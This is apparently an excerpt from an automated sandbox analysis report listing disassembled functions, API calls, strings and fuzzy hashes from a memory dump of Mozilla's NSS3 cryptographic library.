String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 9dbd21000ccfb21b10baabe3883f7e3c421d178efa5a95ae8684809832c16947
Instruction ID: f23299be74431ca72b1e952629d6909d9b388bf97bb03313bd3c227158345ae8
Opcode Fuzzy Hash: 9dbd21000ccfb21b10baabe3883f7e3c421d178efa5a95ae8684809832c16947
Instruction Fuzzy Hash: BDA1E6F2F6698197E7904A2CC80138536B6AB8332AF784365E831C7FD5DBF599438242

Function 6CE75DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE75DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CE75E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6CE75E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6CE75E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CE75EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6CE75ED9
SECKEY_SignatureLen.NSS3(?), ref: 6CE75F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CE75F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CE75F89
free.MOZGLUE(?), ref: 6CE75FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE75FB6
free.MOZGLUE(00000000), ref: 6CE75FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE7600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE76079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE76084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE76094

Strings

, xrefs: 6CE75EEB

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 9070af1e6f04dfa3efba8407b339dc91679361d3df6147c9a08640641ab7308b
Instruction ID: a49774c3f40435cd96870ce5a0c4cda14823e1ee6805d91a97a2b230c5b6319c
Opcode Fuzzy Hash: 9070af1e6f04dfa3efba8407b339dc91679361d3df6147c9a08640641ab7308b
Instruction Fuzzy Hash: D681E1B1E012059BDB248A68DC85BAE77B5AF4531CF344128E819E7B91E731E905CBF2

Function 6CE96D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CE96D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE96DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE96DC3

Part of subcall function 6CF7D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF7D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE96DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CE96DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CE96E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CE96E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CE96E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CE96EB9

Strings

(CK_INVALID_HANDLE), xrefs: 6CE96DBC
*pulDigestLen = 0x%x, xrefs: 6CE96EB4
pulDigestLen = 0x%p, xrefs: 6CE96E42
ulDataLen = %d, xrefs: 6CE96E0E
pData = 0x%p, xrefs: 6CE96DF5
C_Digest, xrefs: 6CE96D81
hSession = 0x%x, xrefs: 6CE96D9E, 6CE96DAE
pDigest = 0x%p, xrefs: 6CE96E27

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: be0f73c2b62c4644020eb532cf26e335c7109e859e86971ba3558fb45bbe74fb
Instruction ID: 00b6c24fc17e67c1263eba7ff1ba2cde78be1e069c58c568a18e0adf1be3c41d
Opcode Fuzzy Hash: be0f73c2b62c4644020eb532cf26e335c7109e859e86971ba3558fb45bbe74fb
Instruction Fuzzy Hash: 8C41D275B11104AFDB909B54DD49F8B3BB5EF4231CF56402AF808A7B11DB329A48CBE2

Function 6CE98820 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptVerifyUpdate), ref: 6CE98846
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE98874
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE98883

Part of subcall function 6CF7D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF7D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE98899
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6CE988BA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6CE988D3
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CE988EC
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6CE98907
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6CE98979

Strings

pEncryptedPart = 0x%p, xrefs: 6CE988B5
pulPartLen = 0x%p, xrefs: 6CE98902
(CK_INVALID_HANDLE), xrefs: 6CE9887C
C_DecryptVerifyUpdate, xrefs: 6CE98841
pPart = 0x%p, xrefs: 6CE988E7
hSession = 0x%x, xrefs: 6CE9885E, 6CE9886E
*pulPartLen = 0x%x, xrefs: 6CE98974
ulEncryptedPartLen = %d, xrefs: 6CE988CE

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptVerifyUpdate
API String ID: 1003633598-2764998763
Opcode ID: d016f4d3e93cc6b88fa9ce25f3f6fa6d087ed2ae92e007e4717520298d2c5746
Instruction ID: c3d8f4719d5654242942cc9674e4fdd4841a395095d67059e4932bb0e119751f
Opcode Fuzzy Hash: d016f4d3e93cc6b88fa9ce25f3f6fa6d087ed2ae92e007e4717520298d2c5746
Instruction Fuzzy Hash: FC41F575B01104AFDB60CF54DD48F8B3BB1EF4231CF595426E808A7B21D7329A18CBA2

Function 6CE96960 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptUpdate), ref: 6CE96986
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE969B4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE969C3

Part of subcall function 6CF7D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF7D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE969D9
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6CE969FA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6CE96A13
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CE96A2C
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6CE96A47
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6CE96AB9

Strings

pEncryptedPart = 0x%p, xrefs: 6CE969F5
pulPartLen = 0x%p, xrefs: 6CE96A42
(CK_INVALID_HANDLE), xrefs: 6CE969BC
C_DecryptUpdate, xrefs: 6CE96981
pPart = 0x%p, xrefs: 6CE96A27
hSession = 0x%x, xrefs: 6CE9699E, 6CE969AE
*pulPartLen = 0x%x, xrefs: 6CE96AB4
ulEncryptedPartLen = %d, xrefs: 6CE96A0E

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptUpdate
API String ID: 1003633598-2105479268
Opcode ID: 4c45444cb2a62c3394a1e645c3720509a7aaa200739bf35e39da9f7f306dd7ee
Instruction ID: 3ca4fc5f43a351978480d9057d9558ab5eae88f89b391c3b65e7e23a6cc4eb12
Opcode Fuzzy Hash: 4c45444cb2a62c3394a1e645c3720509a7aaa200739bf35e39da9f7f306dd7ee
Instruction Fuzzy Hash: DB41D171B51104AFDB90CB54DD48B8B7BB5EB4230DF5A902AE808A7711DB729E48CBE1

Function 6CE99C40 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6CE99C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE99C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE99CA3

Part of subcall function 6CF7D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF7D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE99CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6CE99CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CE99CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CE99D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6CE99D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6CE99D42

Strings

pUsername = 0x%p, xrefs: 6CE99D24
pPin = 0x%p, xrefs: 6CE99CF0
C_LoginUser, xrefs: 6CE99C61
(CK_INVALID_HANDLE), xrefs: 6CE99C9C
userType = 0x%x, xrefs: 6CE99CD5
ulUsernameLen = %d, xrefs: 6CE99D3D
hSession = 0x%x, xrefs: 6CE99C7E, 6CE99C8E
ulPinLen = %d, xrefs: 6CE99D0B

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser
API String ID: 1003633598-3838449515
Opcode ID: 527517acece9925bd1354d4e3bf6047c6d63d06649be52aa3da3d19ada8fd073
Instruction ID: e546e296f91bef9995190da1184c1ec06e63b5c932cd15f495c27b3931e01ca1
Opcode Fuzzy Hash: 527517acece9925bd1354d4e3bf6047c6d63d06649be52aa3da3d19ada8fd073
Instruction Fuzzy Hash: 3541D571B01104AFDB50DF50DD88F8A3BB5EF4230DF594029F809AB761DB329A58CBA2

Function 6CECE8C0 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6CECE853,?,FFFFFFFF,?,?,6CECB0CC,?,6CECB4A0,?,00000000), ref: 6CECE8D9

Part of subcall function 6CEC0D30: calloc.MOZGLUE ref: 6CEC0D50
Part of subcall function 6CEC0D30: TlsGetValue.KERNEL32 ref: 6CEC0D6D

Part of subcall function 6CECC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CECDAE2,?), ref: 6CECC6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6CECE972
PORT_ArenaMark_Util.NSS3(?), ref: 6CECE9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CECEA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6CECEA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6CECEA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CECEA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6CECEA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CECEACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6CECEB56
PK11_FreeSymKey.NSS3(00000000), ref: 6CECEBC2
SECOID_FindOID_Util.NSS3(?), ref: 6CECEBEC
free.MOZGLUE(00000000), ref: 6CECEC58

Strings

Sl, xrefs: 6CECE9CA, 6CECEAAB

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID: Sl
API String ID: 759478663-500794738
Opcode ID: 31390e62b8dfe1f503638aefff5dc04b6f98de39b2e9f791a98f5c577b19b7c3
Instruction ID: 6e8d75c2df5411756bf9cb1855cbcbe74bc7648602d53e391f7dc66bc98e2e45
Opcode Fuzzy Hash: 31390e62b8dfe1f503638aefff5dc04b6f98de39b2e9f791a98f5c577b19b7c3
Instruction Fuzzy Hash: BDC1C6B1F006459FEB14CF64DA82BAA77B4BF1530CF240069E926A7B51E731E805CBD2

Function 6CEF28C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6CEF5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEF5B56

TlsGetValue.KERNEL32 ref: 6CEF290A
EnterCriticalSection.KERNEL32(00000001), ref: 6CEF291E
TlsGetValue.KERNEL32 ref: 6CEF2937
EnterCriticalSection.KERNEL32(00000001), ref: 6CEF294B
PR_EnterMonitor.NSS3(?), ref: 6CEF2966
PR_EnterMonitor.NSS3(?), ref: 6CEF29AC
PR_ExitMonitor.NSS3(?), ref: 6CEF29D1
PR_EnterMonitor.NSS3(?), ref: 6CEF29F0
PR_EnterMonitor.NSS3(?), ref: 6CEF2A15
PR_EnterMonitor.NSS3(?), ref: 6CEF2A37
PR_ExitMonitor.NSS3(?), ref: 6CEF2A61
PR_ExitMonitor.NSS3(?), ref: 6CEF2A78
PR_ExitMonitor.NSS3(?), ref: 6CEF2A8F
PR_ExitMonitor.NSS3(?), ref: 6CEF2AA6

Part of subcall function 6CF29440: TlsGetValue.KERNEL32 ref: 6CF2945B
Part of subcall function 6CF29440: TlsGetValue.KERNEL32 ref: 6CF29479
Part of subcall function 6CF29440: EnterCriticalSection.KERNEL32 ref: 6CF29495
Part of subcall function 6CF29440: TlsGetValue.KERNEL32 ref: 6CF294E4
Part of subcall function 6CF29440: TlsGetValue.KERNEL32 ref: 6CF29532
Part of subcall function 6CF29440: LeaveCriticalSection.KERNEL32 ref: 6CF2955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6CEF2AF9
free.MOZGLUE(?), ref: 6CEF2B16
PR_Unlock.NSS3(?), ref: 6CEF2B6D
PR_Unlock.NSS3(?), ref: 6CEF2B80

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: 2479f7f3fdf42adbe3ee99b1436af0d57a92a1e17d254c6a2e7f7ec7f00cda84
Instruction ID: dbc1cb3d6811533ac5448726e1790d7496ff146a289a28dde73ae573951ce976
Opcode Fuzzy Hash: 2479f7f3fdf42adbe3ee99b1436af0d57a92a1e17d254c6a2e7f7ec7f00cda84
Instruction Fuzzy Hash: 2581D4B1A00B405BEB209F35EC45BD7B7F4AF15308F144828E86AC7B11EB36E519CB92

Function 6CF79C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6CF79C70
PR_NewLock.NSS3 ref: 6CF79C85

Part of subcall function 6CF298D0: calloc.MOZGLUE(00000001,00000084,6CE50936,00000001,?,6CE5102C), ref: 6CF298E5

PR_NewCondVar.NSS3(00000000), ref: 6CF79C96

Part of subcall function 6CE4BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CE521BC), ref: 6CE4BB8C

PR_NewLock.NSS3 ref: 6CF79CA9

Part of subcall function 6CF298D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CF29946
Part of subcall function 6CF298D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CDE16B7,00000000), ref: 6CF2994E
Part of subcall function 6CF298D0: free.MOZGLUE(00000000), ref: 6CF2995E

PR_NewLock.NSS3 ref: 6CF79CB9
PR_NewLock.NSS3 ref: 6CF79CC9
PR_NewCondVar.NSS3(00000000), ref: 6CF79CDA

Part of subcall function 6CE4BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE4BBEB
Part of subcall function 6CE4BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CE4BBFB
Part of subcall function 6CE4BB80: GetLastError.KERNEL32 ref: 6CE4BC03
Part of subcall function 6CE4BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CE4BC19
Part of subcall function 6CE4BB80: free.MOZGLUE(00000000), ref: 6CE4BC22

PR_NewCondVar.NSS3(?), ref: 6CF79CF0
PR_NewPollableEvent.NSS3 ref: 6CF79D03

Part of subcall function 6CF6F3B0: PR_CallOnce.NSS3(6CFC14B0,6CF6F510), ref: 6CF6F3E6
Part of subcall function 6CF6F3B0: PR_CreateIOLayerStub.NSS3(6CFC006C), ref: 6CF6F402
Part of subcall function 6CF6F3B0: PR_Malloc.NSS3(00000004), ref: 6CF6F416
Part of subcall function 6CF6F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6CF6F42D
Part of subcall function 6CF6F3B0: PR_SetSocketOption.NSS3(?), ref: 6CF6F455
Part of subcall function 6CF6F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6CF6F473

Part of subcall function 6CF29890: TlsGetValue.KERNEL32(?,?,?,6CF297EB), ref: 6CF2989E

EnterCriticalSection.KERNEL32(?), ref: 6CF79D78
calloc.MOZGLUE(00000001,0000000C), ref: 6CF79DAF
_PR_CreateThread.NSS3(00000000,6CF79EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF79D9F

Part of subcall function 6CE4B3C0: TlsGetValue.KERNEL32 ref: 6CE4B403
Part of subcall function 6CE4B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CE4B459

_PR_CreateThread.NSS3(00000000,6CF7A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF79DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6CF79DFC
_PR_CreateThread.NSS3(00000000,6CF7A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF79E29
calloc.MOZGLUE(00000001,0000000C), ref: 6CF79E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6CF79E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF79E89

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: e88ad4b09250fa01dc8b2a084d1079fbef55e4fad5551e347fb6949f6d73716e
Instruction ID: 851fae801fce3232a20b934a237e01d11c4d05e92798e8fdb6039aae3577b87a
Opcode Fuzzy Hash: e88ad4b09250fa01dc8b2a084d1079fbef55e4fad5551e347fb6949f6d73716e
Instruction Fuzzy Hash: 2E614DB1E00B06AFD714DF75D844AA7BBF8FF08208B14452AE859C7B50EB70E914CBA1

Function 6CEB8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CEB8E01,00000000,6CEB9060,6CFC0B64), ref: 6CEB8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CEB8E01,00000000,6CEB9060,6CFC0B64), ref: 6CEB8E9E
PORT_ArenaAlloc_Util.NSS3(6CFC0B64,00000001,?,?,?,?,6CEB8E01,00000000,6CEB9060,6CFC0B64), ref: 6CEB8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CEB8E01,00000000,6CEB9060,6CFC0B64), ref: 6CEB8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CEB8E01,00000000,6CEB9060,6CFC0B64), ref: 6CEB8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CEB8E01,00000000,6CEB9060,6CFC0B64), ref: 6CEB8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CEB8E01), ref: 6CEB8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CFC0B64,6CFC0B64), ref: 6CEB8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CEB8F3F

Part of subcall function 6CEBA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CEBA421,00000000,00000000,6CEB9826), ref: 6CEBA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEB904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CEB8E76

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 45238c2233e534c286d30e9393e83bce64a89e36df11c69904ef9a8466934013
Instruction ID: 55f542eccf87139566899a8b5fb08c8157dac325b426ee32c6e90f132c09c0b7
Opcode Fuzzy Hash: 45238c2233e534c286d30e9393e83bce64a89e36df11c69904ef9a8466934013
